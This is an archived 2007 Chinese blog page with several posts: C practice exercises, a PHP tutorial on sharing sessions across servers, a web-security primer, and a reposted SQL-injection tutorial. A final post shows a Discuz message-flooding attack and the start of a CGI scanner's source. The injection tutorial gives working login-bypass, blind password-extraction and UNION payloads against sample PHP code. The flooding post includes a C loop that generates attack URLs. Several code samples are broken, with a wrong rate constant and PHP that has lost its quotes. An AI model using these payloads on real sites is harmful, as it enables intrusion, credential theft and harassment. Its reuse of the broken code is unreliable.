存档:2007年十月

经典c语言100题目

十月 31, 2007 | 数学 | RSS 2.0

【程序1
题目:有1234个数字,能组成多少个互不相同且无重复数字的三位数?都是多少?
1.
程序分析:可填在百位、十位、个位的数字都是1234。组成所有的排列后再去
      掉不满足条件的排列。
2.
程序源代码:
main()
{
int i,j,k;
printf(”");
for(i=1;i<5;i++)
    /*以下为三重循环*/
 for(j=1;j<5;j++) 
  for (k=1;k<5;k++)
   {
    if (i!=k&&i!=j&&j!=k)    /*确保ijk三位互不相同*/
    printf(”%d,%d,%d”,i,j,k);
   }
}
==============================================================
【程序2
题目:企业发放的奖金根据利润提成。利润(I)低于或等于10万元时,奖金可提10%;利润高
   于10万元,低于20万元时,低于10万元的部分按10%提成,高于10万元的部分,可可提
   成7.5%20万到40万之间时,高于20万元的部分,可提成5%40万到60万之间时高于
   40万元的部分,可提成3%60万到100万之间时,高于60万元的部分,可提成1.5%,高于
   100万元时,超过100万元的部分按1%提成,从键盘输入当月利润I,求应发放奖金总数?
1.
程序分析:请利用数轴来分界,定位。注意定义时需把奖金定义成长整型。      
2.
程序源代码:
main()
{
long int i;
int bonus1,bonus2,bonus4,bonus6,bonus10,bonus;
scanf(”%ld”,&i);
bonus1=100000*0.1;bonus2=bonus1+100000*0.75;
bonus4=bonus2+200000*0.5;
bonus6=bonus4+200000*0.3;
bonus10=bonus6+400000*0.15;
 if(i<=100000)
  bonus=i*0.1;
 else if(i<=200000)
     bonus=bonus1+(i-100000)*0.075;
    else if(i<=400000)
        bonus=bonus2+(i-200000)*0.05;
       else if(i<=600000)
           bonus=bonus4+(i-400000)*0.03;
          else if(i<=1000000)
              bonus=bonus6+(i-600000)*0.015;
             else
              bonus=bonus10+(i-1000000)*0.01;
printf(”bonus=%d”,bonus);
}

==============================================================
【程序3
题目:一个整数,它加上100后是一个完全平方数,再加上168又是一个完全平方数,请问该数是多少?
1.
程序分析:在10万以内判断,先将该数加上100后再开方,再将该数加上268后再开方,如果开方后
      的结果满足如下条件,即是结果。请看具体分析:
2.
程序源代码:
#include “math.h”
main()
{
long int i,x,y,z;
for (i=1;i<100000;i++)
 { x=sqrt(i+100);   /*x为加上100后开方后的结果*/
  y=sqrt(i+268);   /*y为再加上168后开方后的结果*/
   if(x*x==i+100&&y*y==i+268)/*如果一个数的平方根的平方等于该数,这说明此数是完全平方数*/
    

没有评论 »

PHP 实现多服务器共享 SESSION 数据

十月 30, 2007 | mysql | RSS 2.0

PHP 实现多服务器共享 SESSION 数据
一、问题起源
稍大一些的网站,通常都会有好几个服务器,每个服务器运行着不同功能的模块,使用不同的二级域名,而一个整体性强的网站,用户系统是统一的,即一套用户名、密码在整个网站的各个模块中都是可以登录使用的。各个服务器共享用户数据是比较容易实现的,只需要在后端放个数据库服务器,各个服务器通过统一接口对用户数据进行访问即可。但还存在一个问题,就是用户在这个服务器登录之后,进入另一个服务器的别的模块时,仍然需要重新登录,这就是一次登录,全部通行的问题,映射到技术上,其实就是各个服务器之间如何实现共享 SESSION 数据的问题。

二、PHP SESSION 的工作原理

在解决问题之前,先来了解一下 PHP SESSION 的工作原理。在客户端(如浏览器)登录网站时,被访问的 PHP 页面可以使用session_start() 打开 SESSION,这样就会产生客户端的唯一标识 SESSION ID(此 ID 可通过函数session_id() 获取/设置)。SESSION ID 可以通过两种方式保留在客户端,使得请求不同的页面时,PHP 程序可以获知客户端的SESSION ID;一种是将 SESSION ID 自动加入到 GET 的 URL 中,或者 POST 的表单中,默认情况下,变量名为PHPSESSID;另一种是通过 COOKIE,将 SESSION ID 保存在 COOKIE 中,默认情况下,这个 COOKIE 的名字为PHPSESSID。这里我们主要以 COOKIE 方式进行说明,因为应用比较广泛。

那么 SESSION 的数据保存在哪里呢?当然是在服务器端,但不是保存在内存中,而是保存在文件或数据库中。默认情况下,php.ini中设置的 SESSION 保存方式是 files(session.save_handler = files),即使用读写文件的方式保存SESSION 数据,而 SESSION 文件保存的目录由 session.save_path 指定,文件名以 sess_ 为前缀,后跟SESSION ID,如:sess_c72665af28a8b14c0fe11afe3b59b51b。文件中的数据即是序列化之后的SESSION 数据了。如果访问量大,可能产生的 SESSION 文件会比较多,这时可以设置分级目录进行 SESSION文件的保存,效率会提高很多,设置方法为:session.save_path=”N;/save_path”,N 为分级的级数,save_path为开始目录。当写入 SESSION 数据的时候,PHP 会获取到客户端的 SESSION_ID,然后根据这个 SESSION ID 到指定的SESSION 文件保存目录中找到相应的 SESSION 文件,不存在则创建之,最后将数据序列化之后写入文件。读取 SESSION数据是也是类似的操作流程,对读出来的数据需要进行解序列化,生成相应的 SESSION 变量。

三、多服务器共享 SESSION 的主要障碍及解决办法

通过了解 SESSION 的工作原理,我们可以发现,在默认情况下,各个服务器会各自分别对同一个客户端产生 SESSIONID,如对于同一个用户浏览器,A 服务器产生的 SESSION ID 是 30de1e9de3192ba6ce2992d27a1b6a0a,而B 服务器生成的则是 c72665af28a8b14c0fe11afe3b59b51b。另外,PHP 的 SESSION数据都是分别保存在本服务器的文件系统中。如下图所示:

确定了问题所在之后,就可以着手进行解决了。想要共享 SESSION 数据,那就必须实现两个目标:一个是各个服务器对同一个客户端产生的SESSION ID 必须相同,并且可通过同一个 COOKIE 进行传递,也就是说各个服务器必须可以读取同一个名为 PHPSESSID 的COOKIE;另一个是 SESSION 数据的存储方式/位置必须保证各个服务器都能够访问到。简单地说就是多服务器共享客户端的 SESSIONID,同时还必须共享服务器端的 SESSION 数据。

第一个目标的实现其实很简单,只需要对 COOKIE 的域(domain)进行特殊地设置即可,默认情况下,COOKIE的域是当前服务器的域名/IP 地址,而域不同的话,各个服务器所设置的 COOKIE 是不能相互访问的,如 www.aaa.com的服务器是不能读写 www.bbb.com 服务器设置的 COOKIE 的。

这里我们所说的同一网站的服务器有其特殊性,那就是他们同属于同一个一级域,如:aaa.infor96.com 和www.infor96.com 都属于域 .infor96.com,那么我们就可以设置 COOKIE 的域为 .infor96.com,这样aaa.infor96.com、www.infor96.com 等等都可以访问此 COOKIE。PHP 代码中的设置方法如下:

<?php
< ?
php
ini_set(session.cookie_domain, .infor96.com);
?>

这样各个服务器共享同一客户端 SESSION ID 的目的就达到了。

第二个目标的实现可以使用文件共享方式,如 NFS 方式,但设置、操作上有些复杂。我们可以参考先前所说的统一用户系统的方式,即使用数据库来保存 SESSION 数据,这样各个服务器就可以方便地访问同一个数据源,获取相同的 SESSION 数据了。

解决办法如下图所示:

四、代码实现

首先创建数据表,MySQL 的 SQL 语句如下:

CREATE TABLE `sess` (
`sesskey` varchar(32) NOT NULL default ”,
`expiry` bigint(20) NOT NULL default ‘0′,
`data` longtext NOT NULL,
PRIMARY KEY (`sesskey`),
KEY `expiry` (`expiry`)
) TYPE=MyISAM
sesskey 为 SESSION ID,expiry 为 SESSION 过期时间,data 用于保存 SESSION 数据。

默认情况下 SESSION 数据是以文件方式保存,想要使用数据库方式保存,就必须重新定义 SESSION 各个操作的处理函数。PHP提供了session_set_save_handle() 函数,可以用此函数自定义 SESSION 的处理过程,当然首先要先将session.save_handler 改成 user,可在 PHP 中进行设置:

<?php
< ?
php
session_module_name(user);
?>

接下来着重讲一下 session_set_save_handle() 函数,此函数有六个参数:

session_set_save_handler ( string open, string close, string read, string write, string destroy, string gc )
各个参数为各项操作的函数名,这些操作依次是:打开、关闭、读取、写入、销毁、垃圾回收。PHP 手册中有详细的例子,在这里我们使用 OO 的方式来实现这些操作,详细代码如下:

<?php
< ?
php
define(MY_SESS_TIME, 3600);   //SESSION 生存时长
//类定义
class My_Sess
{
    
function init()
    
{
        
$domain = .infor96.com;
        
//不使用 GET/POST 变量方式
        
ini_set(session.use_trans_sid,    0);
        
//设置垃圾回收最大生存时间
        
ini_set(session.gc_maxlifetime,   MY_SESS_TIME);
 
        
//使用 COOKIE 保存 SESSION ID 的方式
        
ini_set(session.use_cookies,      1);
        
ini_set(session.cookie_path,      /);
        
//多主机共享保存 SESSION ID 的 COOKIE
        
ini_set(session.cookie_domain,    $domain);
 
        
//将 session.save_handler 设置为 user,而不是默认的 files
        
session_module_name(user);
        
//定义 SESSION 各项操作所对应的方法名:
        
session_set_save_handler(
            
array(My_Sess, open),   //对应于静态方法 My_Sess::open(),下同。
            
array(My_Sess, close),
            
array(My_Sess, read),
            
array(My_Sess, write),
            
array(My_Sess, destroy),
            
array(My_Sess, gc)
        
);
    
}   //end function
 
    
function open($save_path, $session_name) {
        
return true;
    
}   //end function
 
    
function close() {
        
global $MY_SESS_CONN;
 
        
if ($MY_SESS_CONN) {    //关闭数据库连接
            
$MY_SESS_CONN->Close();
        
}
        
return true;
    
}   //end function
 
    
function read($sesskey) {
        
global $MY_SESS_CONN;
 
        
$sql = SELECT data FROM sess WHERE sesskey= . $MY_SESS_CONN->qstr($sesskey) . AND expiry>= . time();
        
$rs =& $MY_SESS_CONN->Execute($sql);
        
if ($rs) {
            
if ($rs->EOF) {
         &nbsp …

没有评论 »

web编程安全入门(php)

十月 30, 2007 | 网站架构 | RSS 2.0

                           给学校网站的安全提点建议

本文作者:小和尚
文章性质:原创
发布日期:2007-10-28

 为求全,部分使用了别人的例子,在此致谢

尝试过咱们学校的诸多网站,发现安全性极低,虽然看不到他们的源代码,但有的部分网站就简单的在用到sql查询的时间多输入一个就会暴露好多问题,曾记前段时间做的迎新生专题网站,我就在新闻的?id=23输入了一个下面就把里面的表给暴露了出来,首先可以肯定程序缺乏基本的安全常识,基本的sql注入没都没有过滤,至少要intval($_GET[‘id’],当然其他部分网站我测试过也存在过这样那样的漏洞,可以肯定部分coding者缺乏一定的安全知识。下面我就简单的我积累的经验和大家分享,错误之处多多指正。由于我们学校的网站以php为主,所以我主要用php来分析。

首先我们谈谈http协议,web编程的应该都把http协议熟悉。掌握了http协议,你会更深层次的防范程序的漏洞。有机会的话可以参看一下rfc2616,那里介绍的很详细。HTTP客户程序(例如浏览器),向服务器发送请求的时候必须指明请求类型(一般是GET或者POST)。如有必要,客户程序还可以选择发送其他的请求头。

 大多数请求头并不是必需的,但Content – Length除外。对于POST请求来说Content – Length必须出现,下面给出常见的http头协议。

   Accept:浏览器可接受的MIME类型。

   Accept – Charset:浏览器可接受的字符集。

   Accept -

   Encoding:浏览器能够进行解码的数据编码方式,比如gzipServlet能够向支持gzip的浏览器返回经gzip编码的HTML页面。

   许多情形下这可以减少510倍的下载时间。

   Accept – Language:浏览器所希望的语言种类,当服务器能够提供一种以上的语言版本时要用到。

   Authorization:授权信息,通常出现在对服务器发送的WWW – Authenticate头的应答中。

   Connection:表示是否需要持久连接。如果Servlet看到这里的值为“Keep -

   Alive”,或者看到请求使用的是HTTP 1.1HTTP 1.1默认进行持久连接),它就可以利用持久连接的优点,当页面包含多个元素时(

   例如Applet,图片),显著地减少下载所需要的时间。要实现这一点,Servlet需要在应答中发送一个Content -

   Length头,最简单的实现方法是:先把内容写入ByteArrayOutputStream,然后在正式写出内容之前计算它的大小。

   Content – Leng:表示请求消息正文的长度。

   Cookie:这是最重要的请求头信息之一,参见后面《Cookie处理》一章中的讨论。

   From:请求发送者的email地址,由一些特殊的Web客户程序使用,浏览器不会用到它。

   Host:初始URL中的主机和端口。

   If – Modified – Since:只有当所请求的内容在指定的日期之后又经过修改才返回它,否则返回304NotModified”应答。

   Pragma:指定“no – cache”值表示服务器必须返回一个刷新后的文档,即使它是代理服务器而且已经有了页面的本地拷贝。

   Referer:包含一个URL,用户从该URL代表的页面出发访问当前请求的页面。

   User – Agent:浏览器类型,如果Servlet返回的内容与浏览器类型有关则该值非常有用。

   UA – PixelsUA – ColorUA – OSUA-

   CPU:由某些版本的IE浏览器所发送的非标准的请求头,表示屏幕大小、颜色深度、操作系统和CPU类型。

     有关HTTP头完整、详细的说明,请参见http : //www.w3.org/Protocols/HTTP规范。

如果这个你熟悉了你可以搞很多东西例如:http欺骗,所谓的http欺骗很简单:Referer:就是把url改为其他的,伪ip也很简单就是把“X-Forwarded-For: 改成你要伪造的ip,在很多的代理机上可以冒充一下IP,大家可以也用telenet下试一下,在运行窗口里cmd,然后,telnet,然后可以打开本地回显,不会的话可以输入set ? 然后可以看出set localecho 这样有利于我们查看信息,然后输入 open www.nyist.net  80,剩下你就可以自由发挥了,可以用get方式或者post方式与我们的www.nyist.net就行交互。这里相当于我们手工进行了http协议。当然http协议这里知识简单的介绍,下面有可能用到这样的知识。

好了,不闲扯了,开始正题

1黄金法则:不要信任用户输入

那就是对我们说要进行过滤输入。仔细检查期望的值!保证我们的数据不被污染。

看这个表单<form action=”submit_from.php” method=’post’>

<input type=’radio’ name=’gender’value=’male’>male</br>

<input type=’radio’ name=’gender’value=’female’>female</br>

 

</from>

 本来我们在submit_from.php里面用$_POST[‘gender’]里面应该得到male 或者female 的值,http协议应该是这样的

 POST/submint_from.php  HTTP/!.1

HOST:www.nyist.net

…… (注意值一定要换行)

 

gender=male  

大家看到了吧,我们可以在随意改变gender得值,我可以这样

POST/submint_from.php  HTTP/!.1

HOST:www.nyist.net

…… (注意值一定要换行)

 

gender=wo shi fabin

如果这样的话,我们就可以看出我们的数据被污染了。 所以在submit_from.php里我们可以 检查是否属于我们期望的值,if($_POST[‘gender’]==”mele”||$_POST[‘gender’]==”femele){} else {msg(“有错误”);}

这里只是一个简单的例子。 再看这样一个例子。

$month =$_GET['month'];

$year =$_GET['year'];

没有评论 »

4angle的经典文章

十月 28, 2007 | 数学 | RSS 2.0

本文作者:angel
文章性质:原创
发布日期:2004-09-16

本文已经发表在《黑客防线》7月刊,转载请注明。由于写了很久,随着技术的进步,本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于《Advanced SQL Injection with MySQL》之前一个月。

声明

  本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试。绝对真实。如果有什么遗漏或错误,欢迎来安全天使论坛(http://www.4ngel.net/forums)和我交流。

前言

  2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步,不妨给本文挑点刺。权当指点小弟。

关于php+Mysql的注入

  国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多,所以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。
  尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少70% 以上的站点存在SQL Injection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ‘ (单引号), ” (双引号), (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。
  早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难,好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。

注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。

php+Mysql注入的误区

  很多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a”这类的命令来消除引号,其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。
  为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:

$command = “dir c:”;
system($command);

  否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?什么时候不用呢?看看下面两句SQL语句:

①SELECT * FROM article WHERE articleid=’$id’
②SELECT * FROM article WHERE articleid=$id

  两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同之处。

① 指定变量$id为:
1′ and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=’1′ and 1=2 union select * from user where userid=1/*’

②指定变量$id为:
1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1

  看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,但第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。
  大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,就可以发现,那个$forum_id所在的SQL语句是这样写的:

$sql = “SELECT *
FROM ” . FORUMS_TABLE . “
WHERE forum_id = $forum_id”;

  由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。

简单的例子

  先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大家如何学习构造有效的SQL语句。
  我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:

CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default ”,
`password` varchar(20) NOT NULL default ”,
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
# 导出表中的数据 `user`
#

INSERT INTO `user` VALUES (1, ‘angel’, ‘mypass’);

  验证用户文件的代码如下:

<?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (”数据库连接失败”);

$sql = “SELECT * FROM user WHERE username=’$username’ AND password=’$password’”;

$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);

if (empty($userinfo))
{
echo “登陆失败”;
} else {
echo “登陆成功”;
}

echo “<p>SQL Query:$sql<p>”;
?>

  这时我们提交:

http://127.0.0.1/injection/user.php?username=angel’ or 1=1

  就会返回:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:wwwinjectionuser.php on line 13
登陆失败

SQL Query:SELECT * FROM user WHERE username=’angel’ or 1=1′ AND password=”

PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:wwwinjectionuser.php on line 13

  看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我们构造的语句不能让Mysql正确执行,要重新构造:

http://127.0.0.1/injection/user.php?username=angel’ or ‘1=1

  这时显示“登陆成功”,说明成功了。或者提交:

http://127.0.0.1/injection/user.php?username=angel’/*
http://127.0.0.1/injection/user.php?username=angel’%23

  这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,mysql支持/*和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHP比ASP强大灵活多了。
  通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧?

语句构造

  PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。

一、搜索引擎

  网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。
  查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算危害,下面是一个标准的搜索引擎:

<form method=”GET” action=”search.php” name=”search”>
<input name=”keywords” type=”text” value=”" size=”15″> <input type=”submit” value=”Search”>
</form>
<p><b>Search result</b></p>

<?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (”数据库连接失败”);

$keywords = $_GET['keywords'];
if (!empty($keywords)) {
  //$keywords = addslashes($keywords);
  //$keywords = str_replace(”_”,”_”,$keywords);
  //$keywords = str_replace(”%”,”%”,$keywords);

  $sql = “SELECT * FROM “.$db_prefix.”article WHERE title LIKE ‘%$keywords%’ $search ORDER BY title DESC”;
  $result = mysql_db_query($dbname,$sql);
  $tatol=mysql_num_rows($result);

  echo “<p>SQL Query:$sql<p>”;

  if ($tatol <=0){
    echo “The “<b>$keywords</b>” was not found in all the record.<p>”;
  } else {
    while ($article=mysql_fetch_array($result)) {
      echo “<li>”.htmlspecialchars($article[title]).”<p>”;
    } //while
  }
} else {
  echo “<b>Please enter some keywords.</b><p>”;
}
?>

  一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到“注入”的目的,尽管没有危害,当我们输入“___” 、“.__ ”、“%”等类似的关键字时,会把数据库中的所有记录都取出来。如果我们在表单提交:

%’ ORDER BY articleid/*
%’ ORDER BY articleid#
__’ ORDER BY articleid/*
__’ ORDER BY articleid#

  SQL语句就被改变成下面的样子了,

SELECT * FROM article WHERE title LIKE ‘%%’ ORDER BY articleid/*%’ ORDER BY title DESC
SELECT * FROM article WHERE title LIKE ‘%__’ ORDER BY articleid#%’ ORDER BY title DESC

  就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入的一种方式了吧?

二、查询字段

  查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有小小的改动,如下:

① 本表查询

  看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,

<?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;

mysql_connect($servername,$dbusername,$dbpassword) or die (”数据库连接失败”);

$sql = “SELECT * FROM user WHERE username=’$username’”;
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row) {
  echo “该记录不存在”;
  echo “<p>SQL Query:$sql<p>”;
  exit;
}

echo “你要查询的用户ID是:$row[userid]“;
echo “<p>SQL Query:$sql<p>”;
?>

  当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:

SELECT * FROM user WHERE username=’$username’ AND password=’$password’SELECT * FROM user WHERE username=’$username’

  相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,密码为mypass,
看了上面的例子,应该知道构造了吧,如果我们提交:

http://127.0.0.1/injection/user.php?username=angel’ and password=’mypass

  这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:

SELECT * FROM user WHERE username=’angel’ AND password=’mypass’

  但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探测密码了,首先获取密码长度:

http://127.0.0.1/injection/user.php?username=angel’ and LENGTH(password)=’6

  在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回“该记录不存在”。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用LEFT()、RIGHT()、MID()函数猜密码:

http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,1)=’m
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,2)=’my
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,3)=’myp
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,4)=’mypa
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,5)=’mypas
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,6)=’mypass

  看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子的深入应用。

② 跨表查询

  这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数量,如果看过MYSQL参考手册,就知道了在 SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数量、字段类型都应该与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在第一个SELECT原来应该显示的字段,如下图:

  看了这个图直观多了吧?所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同,类型也相同,我们就可以这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROM……

  如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:

SELECT * FROM article WHERE articleid=’$id’ UNION SELECT 1,1,1,1,1,1,1 FROM……

  否则就会报错:

The used SELECT statements have a different number of columns

  如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于intstrvar类型,所以我们只要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。
  我们看看下面的数据结构,是一个简单的文章数据表。

CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default ”,
`content` text NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
# 导出表中的数据 `article`
#

INSERT INTO `article` VALUES (1, ‘我是一个不爱读书的孩子’, ‘中国的教育制 …

没有评论 »

(转)安全coding

十月 28, 2007 | mysql | RSS 2.0

 大家可以看到pm.php文件的86行的代码:

86 } elseif($action == ’send’) {
87
88 if(!$pmsubmit) {
……
179 showmessage(’pm_send_succeed’, ‘pm.php’);
180 }

  这部分代码没有检测用户发送短信的时间间隔限制代码。我们只要注册任意一个用户登陆后,提交:

http://127.0.0.1/discuz/pm.php?action=send&pmsubmit=submit&msgto=angel&subject=test&message=test

  就可以轰炸这个用户了。提高效率的攻击方法:

#incluse<stdio.h>
main()
{
int i;
for(i=0;i<55933;i++)
{
printf(”www.xxx.com/discuz/pm.php?action=send&pmsubmit=submit&msgto=angel&subject=test&message=test”,i);
}
}

  编译运行file.exe >discuzpm.txt,然后把discuzpm.txt导入任何一款CGI扫描器。Run……
有很多网站为了安全起见,在web server前面架了防火墙,或者做了tcp/ip过滤,对外只开放tcp 80 端口。从入侵者角度来看,要入侵那么从80上跑的cgi入手是比较可行的,当然也可以用别的办法,例如旁敲侧击,呵呵。从网管角度来看,一是要保证cgi的安全性,另外网络的整体安全性也是很重要的。针对基于80端口入侵、防范而出的cgi扫描器数不胜数,但基本上原理都一样。

    cgi扫描器原理说起来其实非常简单,可以用四句话来概括:<1>连接目标web server;<2>发送一个特殊的请求;<3>接收目标服务器返回数据;<4>根据返回数据判断目标服务器是否有此cgi漏洞。

   当管理的服务器达到一定数量的时候,手工检测自己的服务器是否存在各种各样的cgi漏洞,那就太消耗时间和精力了,所以一个网管手上有个比较好用的cgi漏洞扫描器还是必要的。ok!今天我们就自己来动手用c写一个简单的cgi扫描器,帮助自己在日常工作中检测服务器:))

   源代码如下,很多地方我都加了注释,别嫌我烦哦:))编译好的程序可以从http://eyas.3322.net/program/cgicheck.exe下载。

/*************************************************************************

module:cgicheck.cpp

author:ey4s<ey4s@21cn.com>

date:2001/5/16

说明:这是一个console下多线程,带有进度显示的cgi扫描器的模板,更改一下szsign和sendbuff就可以扫描其他cgi漏洞,设置了连接、发送、接收超时,速度还可以哦。希望可以帮助到admins检测自己的服务器:))

*************************************************************************/

#include <stdio.h>

#include <winsock2.h>

#include <time.h>

 

#define iport 80//目标web server端口

#define szsign ”500 13server: microsoft-iis/5.0″//根据此标志来检查目标是否有漏洞

 

#pragma comment(lib,”ws2_32.lib”)

///////////////////////////////////////////////////////////////////////////

//

//定义&初始化全局变量

//

char *sendbuff=”get /null.printer”,//发送的请求buff

    currenttarget[52]={0},//存放最后一个线程将扫描的目标

    turn[4][2]={”-”,”",”|”,”/”};//显示进度时的字符

int sendbufflen=strlen(sendbuff),//发送的buff长度

    iconntimeout,//tcp connect timeout

    ii=0,//扫描进度

    itotal;//服务器总数

handle hsemaphore=null,//信标内核对象句柄,用来控制线程数量

       hstdout;//console标准输出句柄,做进度显示的时候用的

struct timeval timeout;//连接、发送和接收的超时值

dword sleeptime;//每个一个线程后等待的时间

    /*

    sleeptime值根据用户输入的线程数量[threadnum]和tcp connecttimeout[conntimeo]来计算。确保在conntimeo时间左右开    threadnum个线程。这样在conntimeo时间后,所开的线程开始陆续超时退出,可以继续稳定的开线程,可以有效的保证同时有    threadnum个线程在运行。

    */

///////////////////////////////////////////////////////////////////////////

